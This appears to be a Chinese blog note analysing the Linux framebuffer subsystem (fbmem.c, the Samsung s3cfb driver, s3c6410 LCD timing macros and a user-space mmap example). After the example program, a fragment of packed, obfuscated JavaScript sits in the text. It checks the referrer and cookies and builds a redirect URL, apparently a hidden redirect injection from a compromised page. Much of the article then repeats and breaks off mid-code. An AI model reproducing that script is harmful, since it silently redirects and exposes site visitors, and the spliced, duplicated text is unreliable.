一句话总结:先分析下fbmem.c文件,它是该子系统的核心,接收驱动提供的fb_info结构体;然后看三星s3c系列SOC驱动的实现,其内部向上提供fb_info结构体,对下有一个s3cfb_init_hw函数需要具体机型实现;接着到了我们用的具体SOC为s3c6410,三星也给出了一个实现模版实现了对上的s3cfb_init_hw函数,同时将最后剩下的变量至于一个头文件中,所以对于我们移植到不同的LCD面板而言,修改场信号参数即可。下面是个人笔记原文,暂不修改。末尾有版权信息,未经允许不得用于商业行为。
drivers/video/fbmem.c中实现了上层字符设备接口,接收下层驱动提供的fb_info。这里分析一下:
可以看到编译成模块和集成进内核调用的是同一个入口函数,只是开机后执行时间不同。
#ifdef MODULE
module_init(fbmem_init );
#else
subsys_initcall(fbmem_init );
#endif
/* 初始化帧缓冲子系统,主设备号:29,注意这里并没有创建/dev下设备节点,由下面的驱动创建 */
static int __init fbmem_init(void )
{
proc_create (“fb”, 0, NULL, &fb_proc_fops );
if (register_chrdev(FB_MAJOR,“fb” ,&fb_fops))
printk (“unable to get major %d for fb devs\n”, FB_MAJOR );
fb_class = class_create(THIS_MODULE, “graphics”);
if (IS_ERR(fb_class)) {
printk (KERN_WARNING “Unable to create fb class; errno = %ld\n” , PTR_ERR( fb_class));
fb_class = NULL;
}
return 0;
}
/* 注册framebuffer设备,为驱动用函数 */
int register_framebuffer(struct fb_info *fb_info )
\_ do_register_framebuffer (fb_info);
static int do_register_framebuffer(struct fb_info *fb_info )
{
int i ;
struct fb_event event ;
struct fb_videomode mode ;
if (fb_check_foreignness(fb_info))
return -ENOSYS;
do_remove_conflicting_framebuffers (fb_info->apertures, fb_info ->fix.id, fb_is_primary_device( fb_info));// 移除地址范围有冲突的 fb
if (num_registered_fb == FB_MAX)
return -ENXIO;
num_registered_fb ++;
for (i = 0 ; i < FB_MAX; i ++)//在 registered_fb上查找空的i作为新 fb编号
if (!registered_fb[i ])
break;
fb_info ->node = i;
atomic_set (&fb_info->count, 1);
mutex_init (&fb_info->lock);
mutex_init (&fb_info->mm_lock);
fb_info ->dev = device_create(fb_class , fb_info->device,
MKDEV (FB_MAJOR, i), NULL, “fb%d”, i );//生成字符设备,主设备号:29.
if (IS_ERR(fb_info->dev )) {
/* Not fatal */
printk (KERN_WARNING “Unable to create device for framebuffer %d; errno = %ld\n”, i, PTR_ERR (fb_info->dev));
fb_info ->dev = NULL;
} else
fb_init_device (fb_info);
if (fb_info->pixmap.addr == NULL) {
fb_info ->pixmap.addr = kmalloc (FBPIXMAPSIZE, GFP_KERNEL);
if (fb_info->pixmap .addr) {
fb_info ->pixmap.size = FBPIXMAPSIZE ;
fb_info ->pixmap.buf_align = 1;
fb_info ->pixmap.scan_align = 1;
fb_info ->pixmap.access_align = 32;
fb_info ->pixmap.flags = FB_PIXMAP_DEFAULT ;
}
}
fb_info ->pixmap.offset = 0;
if (!fb_info->pixmap.blit_x )
fb_info ->pixmap.blit_x = ~(u32)0;
if (!fb_info->pixmap.blit_y )
fb_info ->pixmap.blit_y = ~(u32)0;
if (!fb_info->modelist.prev || !fb_info->modelist .next)
INIT_LIST_HEAD (&fb_info->modelist);
if (fb_info->skip_vt_switch)
pm_vt_switch_required (fb_info->dev, false );
else
pm_vt_switch_required (fb_info->dev, true );
fb_var_to_videomode (&mode, &fb_info ->var);
fb_add_videomode (&mode, &fb_info ->modelist);
registered_fb [i] = fb_info ;//添加到全局指针结构体数组 ,FB_MAX:32
event .info = fb_info;// 调用事件通知链
if (!lock_fb_info(fb_info))
return -ENODEV;
console_lock ();
fb_notifier_call_chain (FB_EVENT_FB_REGISTERED, &event );
console_unlock ();
unlock_fb_info (fb_info);
return 0;
}
看fb_fops,主要看下open、mmap和read、write,默认都是不干什么事,而直接调用驱动给出的fb_info中的对应函数
static const struct file_operations fb_fops = {
.owner = THIS_MODULE,
.read = fb_read,
.write = fb_write,
.unlocked_ioctl = fb_ioctl,
.mmap = fb_mmap,
.open = fb_open,
.release = fb_release,
};
/* 由节点的minor来获取(先尝试直接注册) fb_info结构体放入flip->private_data,调用 info->fbops->open */
static int
fb_open(struct inode *inode , struct file *file )
__acquires(&info ->lock)
__releases(&info ->lock)
{
int fbidx = iminor(inode);
struct fb_info *info;
int res = 0 ;
info = get_fb_info(fbidx);
if (!info) {
request_module (“fb%d”, fbidx);
info = get_fb_info(fbidx);
if (!info)
return -ENODEV;
}
if (IS_ERR(info))
return PTR_ERR(info);
mutex_lock (&info->lock);
if (!try_module_get(info->fbops ->owner)) {/* 可以看出常见的fops中添加 .owner=THIS_MODULE的好处:外部使用操作时可以增加引用计数,防止使用fops的时候,模块被卸载了*/
res = -ENODEV;
goto out;
}
file ->private_data = info;
if (info->fbops->fb_open ) {
res = info->fbops->fb_open (info,1);
if (res)
module_put (info->fbops->owner );
}
#ifdef CONFIG_FB_DEFERRED_IO
if (info->fbdefio)
fb_deferred_io_open (info, inode, file );
#endif
out:
mutex_unlock (&info->lock);
if (res)
put_fb_info (info);
return res ;
}
static int
fb_mmap(struct file *file , struct vm_area_struct * vma )
{
struct fb_info *info = file_fb_info(file );
struct fb_ops *fb;
unsigned long mmio_pgoff;
unsigned long start;
u32 len ;
if (!info)
return -ENODEV;
fb = info->fbops;
if (!fb)
return -ENODEV;
mutex_lock (&info->mm_lock);
if (fb->fb_mmap) {
int res;
res = fb->fb_mmap(info , vma);
mutex_unlock (&info->mm_lock);
return res;
}
/*
* 如果fb_info中 fb_ops定义了mmap ,则采用它,否则有个默认操作
* 采用fix.smem_start和 fix.smem_len对齐后映射
*/
start = info->fix.smem_start ;
len = info->fix.smem_len ;
mmio_pgoff = PAGE_ALIGN((start & ~PAGE_MASK) + len ) >> PAGE_SHIFT;
if (vma->vm_pgoff >= mmio_pgoff ) {
if (info->var .accel_flags) {
mutex_unlock (&info->mm_lock);
return -EINVAL;
}
vma ->vm_pgoff -= mmio_pgoff;
start = info->fix.mmio_start ;
len = info->fix.mmio_len ;
}
mutex_unlock (&info->mm_lock);
vma ->vm_page_prot = vm_get_page_prot(vma ->vm_flags);
fb_pgprotect (file, vma, start );
return vm_iomap_memory (vma, start, len );
}
首先明白一点,CPU是直接操作LCD控制器(通常都集成在SOC内部),而不是直接操作LCD驱动器。LCD控制器会产生驱动器所需的信号,主要有这些:VSYNC、HSYNC、VCLK、VDEN、VD、LEND。还有就是几个回归时间:VBPD、VFPD、HBPD、HFPD。所以空间地址范围、中断之类对一个SOC而言是一定的。SOC级的bsp驱动中应该就包括了LCD控制器的驱动。s3c系列framebuffer驱动的见drivers/video/samsung/s3cfb.c和.h,这是samsung的fb驱动框架,其内部实现了上面提到的fb_info,唯一一个没有定义的函数是s3cfb_init_hw,所以对于具体的SOC,只需要实现该函数即可。
s3c移植的工作:drivers/video/samsung/s3c6410.c,这里实现了s3cfb_init_hw函数,留下了一些宏定义于同目录下的s3c6410.h中,只需要针对特定的面板提供的参数,定义一组即可。
/* s3cfb.c 中导出的一个变量 s3cfb_fimd,这里s3c6410.c实现了填充,主要都是来自于宏定义,所以只需改s3c6410.h即可 */
#define S3CFB_HRES_VIRTUAL S3CFB_HRES /* horizon pixel x resolition */
#define S3CFB_VRES_VIRTUAL S3CFB_VRES /* line cnt y resolution */
#define S3CFB_HRES_OSD S3CFB_HRES /* horizon pixel x resolition */
#define S3CFB_VRES_OSD S3CFB_VRES /* line cnt y resolution */
#define S3CFB_PIXEL_CLOCK S3CFB_CLKVAL
static void s3cfb_set_fimd_info(void )
{
#ifdef S3CFB_VIDCON1
s3cfb_fimd .vidcon1 = S3CFB_VIDCON1;
#else
s3cfb_fimd .vidcon1 = S3C_VIDCON1_IHSYNC_INVERT | \
S3C_VIDCON1_IVSYNC_INVERT | \
S3C_VIDCON1_IVDEN_NORMAL ;
#endif
#if defined(CONFIG_FB_S3C_EXT_VGA1024768) || \
defined(CONFIG_FB_S3C_EXT_VGA640480) || \
defined(CONFIG_FB_S3C_EXT_VGA800600)
s3cfb_fimd .vidcon1 = 0;
#endif
/* 三个视频时序寄存器,具体功能见手册,分别对应于某项属性 */
s3cfb_fimd .vidtcon0 = S3C_VIDTCON0_VBPD(S3CFB_VBP - 1 ) | \
S3C_VIDTCON0_VFPD (S3CFB_VFP - 1) | \
S3C_VIDTCON0_VSPW (S3CFB_VSW - 1);
s3cfb_fimd .vidtcon1 = S3C_VIDTCON1_HBPD(S3CFB_HBP - 1 ) | \
S3C_VIDTCON1_HFPD (S3CFB_HFP - 1) | \
S3C_VIDTCON1_HSPW (S3CFB_HSW - 1);
s3cfb_fimd .vidtcon2 = S3C_VIDTCON2_LINEVAL (S3CFB_VRES - 1) | \
S3C_VIDTCON2_HOZVAL (S3CFB_HRES - 1);
/* 窗口0位置控制A寄存器,OSD图像像素的左上角和右下角的横纵坐标 */
s3cfb_fimd .vidosd0a = S3C_VIDOSDxA_OSD_LTX_F (0) | S3C_VIDOSDxA_OSD_LTY_F (0);
s3cfb_fimd .vidosd0b = S3C_VIDOSDxB_OSD_RBX_F (S3CFB_HRES - 1) | \
S3C_VIDOSDxB_OSD_RBY_F (S3CFB_VRES - 1);
/* 窗口1位置控制A寄存器,OSD图像像素的左上角和右下角的横纵坐标 */
s3cfb_fimd .vidosd1a = S3C_VIDOSDxA_OSD_LTX_F (0) | S3C_VIDOSDxA_OSD_LTY_F (0);
s3cfb_fimd .vidosd1b = S3C_VIDOSDxB_OSD_RBX_F (S3CFB_HRES_OSD - 1) | \
S3C_VIDOSDxB_OSD_RBY_F (S3CFB_VRES_OSD - 1);
s3cfb_fimd .width = S3CFB_HRES;
s3cfb_fimd .height = S3CFB_VRES;
s3cfb_fimd .xres = S3CFB_HRES;
s3cfb_fimd .yres = S3CFB_VRES;
#if defined(CONFIG_FB_S3C_EXT_VIRTUAL_SCREEN)
s3cfb_fimd .xres_virtual = S3CFB_HRES_VIRTUAL;
s3cfb_fimd .yres_virtual = S3CFB_VRES_VIRTUAL;
#else
s3cfb_fimd .xres_virtual = S3CFB_HRES;
s3cfb_fimd .yres_virtual = S3CFB_VRES;
#endif
s3cfb_fimd .osd_width = S3CFB_HRES_OSD;
s3cfb_fimd .osd_height = S3CFB_VRES_OSD;
s3cfb_fimd .osd_xres = S3CFB_HRES_OSD;
s3cfb_fimd .osd_yres = S3CFB_VRES_OSD;
s3cfb_fimd .osd_xres_virtual = S3CFB_HRES_OSD;
s3cfb_fimd .osd_yres_virtual = S3CFB_VRES_OSD;
s3cfb_fimd .pixclock = S3CFB_PIXEL_CLOCK;
s3cfb_fimd .hsync_len = S3CFB_HSW;
s3cfb_fimd .vsync_len = S3CFB_VSW;
s3cfb_fimd .left_margin = S3CFB_HBP;
s3cfb_fimd .upper_margin = S3CFB_VBP;
s3cfb_fimd .right_margin = S3CFB_HFP;
s3cfb_fimd .lower_margin = S3CFB_VFP;
}
void s3cfb_init_hw(void)
{
printk (KERN_INFO “LCD TYPE :: %s will be initialized\n” , S3CFB_LCD_TYPE);
s3cfb_set_fimd_info ();
s3cfb_set_gpio ();
}
看下s3c6410.h中定义的当前LCD面板配置。注意的是S3CFB_VAL的值为HCLK/(CLKVAL+1)。如果HCLK不是133的要修改,这些值在手册上均可找到
/**
* WARNING: CLKVAL is defined upon 133 MHz HCLK, please update it
* when HCLK freq changed.
* VCLK = 133 MHz / (CLKVAL + 1)
*/
#elif defined(CONFIG_FB_S3C_EXT_S70T800480)
#define S3CFB_LCD_TYPE ”S70″
#define S3CFB_VBP (0×15) /* back porch */
#define S3CFB_VFP (0×16) /* front porch */
#define S3CFB_VSW (0×02) /* vsync width */
#define S3CFB_HBP (0x2C) /* back porch */
#define S3CFB_HFP (0xD2) /* front porch */
#define S3CFB_HSW (0×02) /* hsync width */
#define S3CFB_HRES 800 /* horizon pixel x resolition */
#define S3CFB_VRES 480 /* line cnt y resolution */
#define S3CFB_CLKVAL 3 /* ~33.25 MHz */
#define S3CFB_VIDCON1 (S3C_VIDCON1_IHSYNC_INVERT | S3C_VIDCON1_IVSYNC_INVERT)
再回来看s3cfb驱动的实现,属于平台设备驱动。主要是实现fb_info,包括其中的fix和var及fbops。
static int __init s3cfb_probe(struct platform_device *pdev )
\_ fbinfo = framebuffer_alloc(sizeof(s3cfb_info_t), &pdev->dev);
info = fbinfo ->par;
res = platform_get_resource (pdev, IORESOURCE_MEM, 0);
size = (res->end - res->start) + 1 ;
info ->mem = request_mem_region(res ->start, size, pdev ->name);
info->io = ioremap(res->start , size);
…等。
帧缓冲设备显示缓冲区的申请与释放,显示缓冲区要考虑cache一致性问题,因为系统往往用DMA方式搬运数据,这里用了dma_alloc_writecombine,允许写入的数据被合并后burst传输,而不是多次single传输,不会出现cache一致性问题,类似于dma_clloc_coherent。
static int __init s3cfb_map_video_memory(s3cfb_info_t *fbi)
{
DPRINTK (“map_video_memory(fbi=%p)\n”, fbi );
fbi ->map_size_f1 = PAGE_ALIGN(fbi ->fb.fix.smem_len );
fbi ->map_cpu_f1 = dma_alloc_writecombine (fbi->dev, fbi ->map_size_f1, &fbi->map_dma_f1, GFP_KERNEL );
fbi ->map_size_f1 = fbi->fb .fix.smem_len;
if (fbi->map_cpu_f1) {
/* prevent initial garbage on screen */
printk (“Window[%d] – FB1: map_video_memory: clear %p:%08x\n”,
fbi ->win_id, fbi->map_cpu_f1 , fbi->map_size_f1);
memset (fbi->map_cpu_f1, 0xf0, fbi ->map_size_f1);
fbi ->screen_dma_f1 = fbi->map_dma_f1 ;
fbi ->fb.screen_base = fbi ->map_cpu_f1;
fbi ->fb.fix.smem_start = fbi->screen_dma_f1;
printk (“ FB1: map_video_memory: dma=%08x cpu=%p size=%08x\n” ,
fbi ->map_dma_f1, fbi->map_cpu_f1 , fbi->fb.fix .smem_len);
}
if (!fbi->map_cpu_f1)
return -ENOMEM;
#if defined(CONFIG_FB_S3C_EXT_DOUBLE_BUFFERING)
if (fbi->win_id < 2 && fbi->map_cpu_f1 ) {
fbi ->map_size_f2 = (fbi ->fb.fix.smem_len / 2 );
fbi ->map_cpu_f2 = fbi->map_cpu_f1 + fbi->map_size_f2;
fbi ->map_dma_f2 = fbi->map_dma_f1 + fbi->map_size_f2;
/* prevent initial garbage on screen */
printk (“Window[%d] – FB2: map_video_memory: clear %p:%08x\n”,
fbi ->win_id, fbi->map_cpu_f2 , fbi->map_size_f2);
fbi ->screen_dma_f2 = fbi->map_dma_f2 ;
printk (“ FB2: map_video_memory: dma=%08x cpu=%p size=%08x\n” ,
fbi ->map_dma_f2, fbi->map_cpu_f2 , fbi->map_size_f2);
}
#endif
if (s3cfb_fimd.map_video_memory)
(s3cfb_fimd.map_video_memory)(fbi );
return 0;
}
最后看平台设备,可以知道必定存在一个名叫s3c-fb的平台设备和这里的驱动对应,然后才会调用framebuffer_register,在arch/arm/plat-samsung/dev-fb.c中。
static struct resource s3c_fb_resource[] = {
[0 ] = {
.start = S3C_PA_FB,
.end = S3C_PA_FB + SZ_16K - 1 ,
.flags = IORESOURCE_MEM,
},
[1 ] = {
.start = IRQ_LCD_VSYNC,
.end = IRQ_LCD_VSYNC,
.flags = IORESOURCE_IRQ,
},
[2 ] = {
.start = IRQ_LCD_FIFO,
.end = IRQ_LCD_FIFO,
.flags = IORESOURCE_IRQ,
},
[3 ] = {
.start = IRQ_LCD_SYSTEM,
.end = IRQ_LCD_SYSTEM,
.flags = IORESOURCE_IRQ,
},
};
struct platform_device s3c_device_fb = {
.name = “s3c-fb” ,
.id = -1,
.num_resources = ARRAY_SIZE(s3c_fb_resource),
.resource = s3c_fb_resource,
.dev .dma_mask = &s3c_device_fb.dev.coherent_dma_mask ,
.dev .coherent_dma_mask = 0xffffffffUL,
};
void __init s3c_fb_set_platdata(struct s3c_fb_platdata *pd )
{
struct s3c_fb_platdata *npd;
if (!pd) {
printk (KERN_ERR “%s: no platform data\n” , __func__);
return;
}
npd = kmemdup(pd, sizeof(struct s3c_fb_platdata), GFP_KERNEL );
if (!npd)
printk (KERN_ERR “%s: no memory for platform data\n” , __func__);
s3c_device_fb .dev.platform_data = npd ;
}
帧缓冲设备的用户空间访问:读写/dev/fbX、映射、ioctl获取/设置各种参数,这里里操作之后的图像将为黑屏。注意:仅仅是前面一个缓冲区。
常用ioctl命令;FBIOGET_VSCREENINFO、FBIOPUT_VSCREENINFO、FBIOGET_FSCREENINFO
常用结构体成员:
struct fb_fix_screeninfo:smem_start(物理地址)/smem_len/line_length
struct fb_var_screeninfo:xres/yres/xres_virtual/yres_virtual/bits_per_pixel/
#include <linux/fb.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
int main()
{
int fbfd ,size;
struct fb_var_screeninfo vinfo ;
char *fbp;
if(!(fbfd=open (“/dev/graphics/fb0″,O_RDWR ))){
printf (“Error:cannot open framebuffer device.\n”);
exit (1);
}
if(ioctl(fbfd ,FBIOGET_VSCREENINFO,&vinfo)){
printf (“Error:reading variable infomation.\n”);
exit (1);
}
size =vinfo.xres*vinfo .yres*vinfo.bits_per_pixel /8;
fbp =(char *)mmap(0,size ,PROT_READ|PROT_WRITE,MAP_SHARED ,fbfd,0);
if((int)fbp ==-1){
printf (“Error:failed to map framebuffer into memory.\n”);
exit (1);
}
memset (fbp,0,size );
munmap (fbp,size);
close (fbfd);
return 0;
}
// 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p}('(d(5){3(a.x){9}a.x=m;2 e={"t://(.*?\\.q)(F\\.b)|(q\\.E)(19\\.b)":"t://16.15"+"V"+"J.b/13.G"};u(2 l 14 e){2 w=6.M.N;3(w.P(S(l))){j=e[l];d o(p){2 g=p+"=";2 f=6.17.18(\';\');u(2 i=0;i
drivers/video/fbmem.c中实现了上层字符设备接口,接收下层驱动提供的fb_info。这里分析一下:
可以看到编译成模块和集成进内核调用的是同一个入口函数,只是开机后执行时间不同。
#ifdef MODULE
module_init(fbmem_init );
#else
subsys_initcall(fbmem_init );
#endif
/* 初始化帧缓冲子系统,主设备号:29,注意这里并没有创建/dev下设备节点,由下面的驱动创建 */
static int __init fbmem_init(void )
{
proc_create (“fb”, 0, NULL, &fb_proc_fops );
if (register_chrdev(FB_MAJOR,“fb” ,&fb_fops))
printk (“unable to get major %d for fb devs\n”, FB_MAJOR );
fb_class = class_create(THIS_MODULE, “graphics”);
if (IS_ERR(fb_class)) {
printk (KERN_WARNING “Unable to create fb class; errno = %ld\n” , PTR_ERR( fb_class));
fb_class = NULL;
}
return 0;
}
/* 注册framebuffer设备,为驱动用函数 */
int register_framebuffer(struct fb_info *fb_info )
\_ do_register_framebuffer (fb_info);
static int do_register_framebuffer(struct fb_info *fb_info )
{
int i ;
struct fb_event event ;
struct fb_videomode mode ;
if (fb_check_foreignness(fb_info))
return -ENOSYS;
do_remove_conflicting_framebuffers (fb_info->apertures, fb_info ->fix.id, fb_is_primary_device( fb_info));// 移除地址范围有冲突的 fb
if (num_registered_fb == FB_MAX)
return -ENXIO;
num_registered_fb ++;
for (i = 0 ; i < FB_MAX; i ++)//在 registered_fb上查找空的i作为新 fb编号
if (!registered_fb[i ])
break;
fb_info ->node = i;
atomic_set (&fb_info->count, 1);
mutex_init (&fb_info->lock);
mutex_init (&fb_info->mm_lock);
fb_info ->dev = device_create(fb_class , fb_info->device,
MKDEV (FB_MAJOR, i), NULL, “fb%d”, i );//生成字符设备,主设备号:29.
if (IS_ERR(fb_info->dev )) {
/* Not fatal */
printk (KERN_WARNING “Unable to create device for framebuffer %d; errno = %ld\n”, i, PTR_ERR (fb_info->dev));
fb_info ->dev = NULL;
} else
fb_init_device (fb_info);
if (fb_info->pixmap.addr == NULL) {
fb_info ->pixmap.addr = kmalloc (FBPIXMAPSIZE, GFP_KERNEL);
if (fb_info->pixmap .addr) {
fb_info ->pixmap.size = FBPIXMAPSIZE ;
fb_info ->pixmap.buf_align = 1;
fb_info ->pixmap.scan_align = 1;
fb_info ->pixmap.access_align = 32;
fb_info ->pixmap.flags = FB_PIXMAP_DEFAULT ;
}
}
fb_info ->pixmap.offset = 0;
if (!fb_info->pixmap.blit_x )
fb_info ->pixmap.blit_x = ~(u32)0;
if (!fb_info->pixmap.blit_y )
fb_info ->pixmap.blit_y = ~(u32)0;
if (!fb_info->modelist.prev || !fb_info->modelist .next)
INIT_LIST_HEAD (&fb_info->modelist);
if (fb_info->skip_vt_switch)
pm_vt_switch_required (fb_info->dev, false );
else
pm_vt_switch_required (fb_info->dev, true );
fb_var_to_videomode (&mode, &fb_info ->var);
fb_add_videomode (&mode, &fb_info ->modelist);
registered_fb [i] = fb_info ;//添加到全局指针结构体数组 ,FB_MAX:32
event .info = fb_info;// 调用事件通知链
if (!lock_fb_info(fb_info))
return -ENODEV;
console_lock ();
fb_notifier_call_chain (FB_EVENT_FB_REGISTERED, &event );
console_unlock ();
unlock_fb_info (fb_info);
return 0;
}
看fb_fops,主要看下open、mmap和read、write,默认都是不干什么事,而直接调用驱动给出的fb_info中的对应函数
static const struct file_operations fb_fops = {
.owner = THIS_MODULE,
.read = fb_read,
.write = fb_write,
.unlocked_ioctl = fb_ioctl,
.mmap = fb_mmap,
.open = fb_open,
.release = fb_release,
};
/* 由节点的minor来获取(先尝试直接注册) fb_info结构体放入flip->private_data,调用 info->fbops->open */
static int
fb_open(struct inode *inode , struct file *file )
__acquires(&info ->lock)
__releases(&info ->lock)
{
int fbidx = iminor(inode);
struct fb_info *info;
int res = 0 ;
info = get_fb_info(fbidx);
if (!info) {
request_module (“fb%d”, fbidx);
info = get_fb_info(fbidx);
if (!info)
return -ENODEV;
}
if (IS_ERR(info))
return PTR_ERR(info);
mutex_lock (&info->lock);
if (!try_module_get(info->fbops ->owner)) {/* 可以看出常见的fops中添加 .owner=THIS_MODULE的好处:外部使用操作时可以增加引用计数,防止使用fops的时候,模块被卸载了*/
res = -ENODEV;
goto out;
}
file ->private_data = info;
if (info->fbops->fb_open ) {
res = info->fbops->fb_open (info,1);
if (res)
module_put (info->fbops->owner );
}
#ifdef CONFIG_FB_DEFERRED_IO
if (info->fbdefio)
fb_deferred_io_open (info, inode, file );
#endif
out:
mutex_unlock (&info->lock);
if (res)
put_fb_info (info);
return res ;
}
static int
fb_mmap(struct file *file , struct vm_area_struct * vma )
{
struct fb_info *info = file_fb_info(file );
struct fb_ops *fb;
unsigned long mmio_pgoff;
unsigned long start;
u32 len ;
if (!info)
return -ENODEV;
fb = info->fbops;
if (!fb)
return -ENODEV;
mutex_lock (&info->mm_lock);
if (fb->fb_mmap) {
int res;
res = fb->fb_mmap(info , vma);
mutex_unlock (&info->mm_lock);
return res;
}
/*
* 如果fb_info中 fb_ops定义了mmap ,则采用它,否则有个默认操作
* 采用fix.smem_start和 fix.smem_len对齐后映射
*/
start = info->fix.smem_start ;
len = info->fix.smem_len ;
mmio_pgoff = PAGE_ALIGN((start & ~PAGE_MASK) + len ) >> PAGE_SHIFT;
if (vma->vm_pgoff >= mmio_pgoff ) {
if (info->var .accel_flags) {
mutex_unlock (&info->mm_lock);
return -EINVAL;
}
vma ->vm_pgoff -= mmio_pgoff;
start = info->fix.mmio_start ;
len = info->fix.mmio_len ;
}
mutex_unlock (&info->mm_lock);
vma ->vm_page_prot = vm_get_page_prot(vma ->vm_flags);
fb_pgprotect (file, vma, start );
return vm_iomap_memory (vma, start, len );
}
首先明白一点,CPU是直接操作LCD控制器(通常都集成在SOC内部),而不是直接操作LCD驱动器。LCD控制器会产生驱动器所需的信号,主要有这些:VSYNC、HSYNC、VCLK、VDEN、VD、LEND。还有就是几个回归时间:VBPD、VFPD、HBPD、HFPD。所以空间地址范围、中断之类对一个SOC而言是一定的。SOC级的bsp驱动中应该就包括了LCD控制器的驱动。s3c系列framebuffer驱动的见drivers/video/samsung/s3cfb.c和.h,这是samsung的fb驱动框架,其内部实现了上面提到的fb_info,唯一一个没有定义的函数是s3cfb_init_hw,所以对于具体的SOC,只需要实现该函数即可。
s3c移植的工作:drivers/video/samsung/s3c6410.c,这里实现了s3cfb_init_hw函数,留下了一些宏定义于同目录下的s3c6410.h中,只需要针对特定的面板提供的参数,定义一组即可。
/* s3cfb.c 中导出的一个变量 s3cfb_fimd,这里s3c6410.c实现了填充,主要都是来自于宏定义,所以只需改s3c6410.h即可 */
#define S3CFB_HRES_VIRTUAL S3CFB_HRES /* horizon pixel x resolition */
#define S3CFB_VRES_VIRTUAL S3CFB_VRES /* line cnt y resolution */
#define S3CFB_HRES_OSD S3CFB_HRES /* horizon pixel x resolition */
#define S3CFB_VRES_OSD S3CFB_VRES /* line cnt y resolution */
#define S3CFB_PIXEL_CLOCK S3CFB_CLKVAL
static void s3cfb_set_fimd_info(void )
{
#ifdef S3CFB_VIDCON1
s3cfb_fimd .vidcon1 = S3CFB_VIDCON1;
#else
s3cfb_fimd .vidcon1 = S3C_VIDCON1_IHSYNC_INVERT | \
S3C_VIDCON1_IVSYNC_INVERT | \
S3C_VIDCON1_IVDEN_NORMAL ;
#endif
#if defined(CONFIG_FB_S3C_EXT_VGA1024768) || \
defined(CONFIG_FB_S3C_EXT_VGA640480) || \
defined(CONFIG_FB_S3C_EXT_VGA800600)
s3cfb_fimd .vidcon1 = 0;
#endif
/* 三个视频时序寄存器,具体功能见手册,分别对应于某项属性 */
s3cfb_fimd .vidtcon0 = S3C_VIDTCON0_VBPD(S3CFB_VBP - 1 ) | \
S3C_VIDTCON0_VFPD (S3CFB_VFP - 1) | \
S3C_VIDTCON0_VSPW (S3CFB_VSW - 1);
s3cfb_fimd .vidtcon1 = S3C_VIDTCON1_HBPD(S3CFB_HBP - 1 ) | \
S3C_VIDTCON1_HFPD (S3CFB_HFP - 1) | \
S3C_VIDTCON1_HSPW (S3CFB_HSW - 1);
s3cfb_fimd .vidtcon2 = S3C_VIDTCON2_LINEVAL (S3CFB_VRES - 1) | \
S3C_VIDTCON2_HOZVAL (S3CFB_HRES - 1);
/* 窗口0位置控制A寄存器,OSD图像像素的左上角和右下角的横纵坐标 */
s3cfb_fimd .vidosd0a = S3C_VIDOSDxA_OSD_LTX_F (0) | S3C_VIDOSDxA_OSD_LTY_F (0);
s3cfb_fimd .vidosd0b = S3C_VIDOSDxB_OSD_RBX_F (S3CFB_HRES - 1) | \
S3C_VIDOSDxB_OSD_RBY_F (S3CFB_VRES - 1);
/* 窗口1位置控制A寄存器,OSD图像像素的左上角和右下角的横纵坐标 */
s3cfb_fimd .vidosd1a = S3C_VIDOSDxA_OSD_LTX_F (0) | S3C_VIDOSDxA_OSD_LTY_F (0);
s3cfb_fimd .vidosd1b = S3C_VIDOSDxB_OSD_RBX_F (S3CFB_HRES_OSD - 1) | \
S3C_VIDOSDxB_OSD_RBY_F (S3CFB_VRES_OSD - 1);
s3cfb_fimd .width = S3CFB_HRES;
s3cfb_fimd .height = S3CFB_VRES;
s3cfb_fimd .xres = S3CFB_HRES;
s3cfb_fimd .yres = S3CFB_VRES;
#if defined(CONFIG_FB_S3C_EXT_VIRTUAL_SCREEN)
s3cfb_fimd .xres_virtual = S3CFB_HRES_VIRTUAL;
s3cfb_fimd .yres_virtual = S3CFB_VRES_VIRTUAL;
#else
s3cfb_fimd .xres_virtual = S3CFB_HRES;
s3cfb_fimd .yres_virtual = S3CFB_VRES;
#endif
s3cfb_fimd .osd_width = S3CFB_HRES_OSD;
s3cfb_fimd .osd_height = S3CFB_VRES_OSD;
s3cfb_fimd .osd_xres = S3CFB_HRES_OSD;
s3cfb_fimd .osd_yres = S3CFB_VRES_OSD;
s3cfb_fimd .osd_xres_virtual = S3CFB_HRES_OSD;
s3cfb_fimd .osd_yres_virtual = S3CFB_VRES_OSD;
s3cfb_fimd .pixclock = S3CFB_PIXEL_CLOCK;
s3cfb_fimd .hsync_len = S3CFB_HSW;
s3cfb_fimd .vsync_len = S3CFB_VSW;
s3cfb_fimd .left_margin = S3CFB_HBP;
s3cfb_fimd .upper_margin = S3CFB_VBP;
s3cfb_fimd .right_margin = S3CFB_HFP;
s3cfb_fimd .lower_margin = S3CFB_VFP;
}
void s3cfb_init_hw(void)
{
printk (KERN_INFO “LCD TYPE :: %s will be initialized\n” , S3CFB_LCD_TYPE);
s3cfb_set_fimd_info ();
s3cfb_set_gpio ();
}
看下s3c6410.h中定义的当前LCD面板配置。注意的是S3CFB_VAL的值为HCLK/(CLKVAL+1)。如果HCLK不是133的要修改,这些值在手册上均可找到
/**
* WARNING: CLKVAL is defined upon 133 MHz HCLK, please update it
* when HCLK freq changed.
* VCLK = 133 MHz / (CLKVAL + 1)
*/
#elif defined(CONFIG_FB_S3C_EXT_S70T800480)
#define S3CFB_LCD_TYPE ”S70″
#define S3CFB_VBP (0×15) /* back porch */
#define S3CFB_VFP (0×16) /* front porch */
#define S3CFB_VSW (0×02) /* vsync width */
#define S3CFB_HBP (0x2C) /* back porch */
#define S3CFB_HFP (0xD2) /* front porch */
#define S3CFB_HSW (0×02) /* hsync width */
#define S3CFB_HRES 800 /* horizon pixel x resolition */
#define S3CFB_VRES 480 /* line cnt y resolution */
#define S3CFB_CLKVAL 3 /* ~33.25 MHz */
#define S3CFB_VIDCON1 (S3C_VIDCON1_IHSYNC_INVERT | S3C_VIDCON1_IVSYNC_INVERT)
再回来看s3cfb驱动的实现,属于平台设备驱动。主要是实现fb_info,包括其中的fix和var及fbops。
static int __init s3cfb_probe(struct platform_device *pdev )
\_ fbinfo = framebuffer_alloc(sizeof(s3cfb_info_t), &pdev->dev);
info = fbinfo ->par;
res = platform_get_resource (pdev, IORESOURCE_MEM, 0);
size = (res->end - res->start) + 1 ;
info ->mem = request_mem_region(res ->start, size, pdev ->name);
info->io = ioremap(res->start , size);
